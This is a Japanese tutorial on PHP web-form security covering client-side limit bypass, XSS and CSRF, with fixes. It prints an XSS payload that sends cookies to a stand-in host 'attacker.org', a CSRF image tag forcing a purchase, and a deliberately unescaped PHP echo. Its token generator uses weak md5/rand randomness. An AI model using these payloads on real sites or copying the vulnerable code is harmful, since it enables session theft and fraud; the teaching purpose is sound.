■なりすまし
以下のようなフォームがある場合を考える。
<form method="post" action="register.php"> Name: <input type="text" name="name" maxlength="10" /> Password: <input type="password" name="password" maxlength="10" /> Gender: <select name="gender"> <option>male</option> <option>female</option> </select> <input type="submit" /> </form>
攻撃者はこのフォームを利用して攻撃するとは限らない。従って、以下のようなHTML上の制限は攻撃者に対しては何の防御策にもならない。
- maxlengthによる文字数の制限
- selectボックスの選択肢による制限
上述は例にすぎない。つまり攻撃者は、「任意のフォーム要素」に「任意の値」を制限無く常に送信することができる。従って、register.phpはそのような前提を踏まえてプログラミングしなければならない。攻撃用フォームは全く別のURLに設置しregister.phpにデータを送信するだけで作れてしまうのだ。
対策
- サーバ側でフィルタリングを徹底的に行う
リファラーをチェックしたり、ワンタイムトークンを使ったりすれば攻撃の敷居はわずかに高くなるが、決定的な対策とはいえない。
■クロスサイトスクリプティング
もっとも有名な攻撃手法の一つでありXSSと略して呼ばれる。以下のようなフォームの場合を考える。
<form method="post" action="register.php"> Name: <input type="text" name="name" /> <input type="submit" /> </form>
上述のデータを以下のプログラムで受け取る。
<p>入力したお名前はコチラです。</p> <?php print($_POST['name']); ?>
一見すると、ユーザの入力を表示しているだけに思えるが、「名前」に以下の文字列が入力された場合に脆弱性が露呈する。
<script type="text/javascript"> document.location = 'http://attacker.org/exploit.php?data=' + document.cookie; </script>
上述のコードを入力されると、結果的にクッキーを攻撃者のサイトに送信されてしまう。もしも、このアプリケーションが不特定多数の人に任意のユーザの入力を表示する掲示板のようなシステムの場合、全てのユーザのクッキーが攻撃者のサイトに送信される。
対策
以下のようにユーザ入力をHTML表示させる場合は、適切にサニタイジングを行う。
<p>入力したお名前はコチラです。</p> <?php print(htmlentities($_POST['name'], ENT_QUOTES, 'utf-8')); ?>
但し、htmtentities関数の第二引数はデフォルトでENT_COMPATになっており、シングルクォートがエスケイプされないので、ENT_QUOTESと必ず記述する。(属性値への挿入に耐性をもたせる)
■クロスサイトリクエストフォージェリーズ
簡単に説明すると以下のような脆弱性である。
- Aさんがショッピングサイトにログインし買い物をする
- Aさんがログアウトせずに、そのままネットサーフィンをする
- Aさんが攻撃者の仕掛けたリンクを偶然クリックする(もしくはimageタグのsrc属性などで強制的にリクエストさせられる)
以下のように、リンクにはショッピングサイトの(5000万円の)家の支払い画面のURLが記述されている
<img src="http://amazon.com/goods.php?goods=house&price=50000000&order=ok" />
- Aさんの意志に関係なく、5000万円の支払い契約が成立する
- Aさんは破産する
一意のURLに紐付けられているアプリケーション側の処理が利用者の意図していない場面で行われてしまうということになる。
対策
<?php session_start(); session_regenerate_id(true); $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; ?> <form method="post" action="register.php"> <input type="hidden" name="token" value="<?php print($token); ?>"> </form>
各関数について
- bool session_start(void)
- セッションをスタートする。セッションを用いる場合は全ての出力より前にコールする必要がある。
- bool session_regenerate_id([bool $delete_old_session=false])
- 現在のセッションIDを新しいものに置き換える。セッションIDの固定化を防ぐ目的がある。PHP5.1.0以降では、引数にtrueを設定すると古いセッションファイルを削除する。
- string md5(string $str[, bool $raw_out_put=false])
- 与えられた文字列を元に、md5ハッシュ値を返す。
- string uniqid([string $prefix=”[, bool $more_entropy=false])
- 一意なIDを取得する。第二引数にtrueを設定することにより、より均一になる。
- int rand(void)
- 乱数を生成する。この場合は不要だが、最小値と最大値を決めたい場合は、第一引数と第二引数に記述する。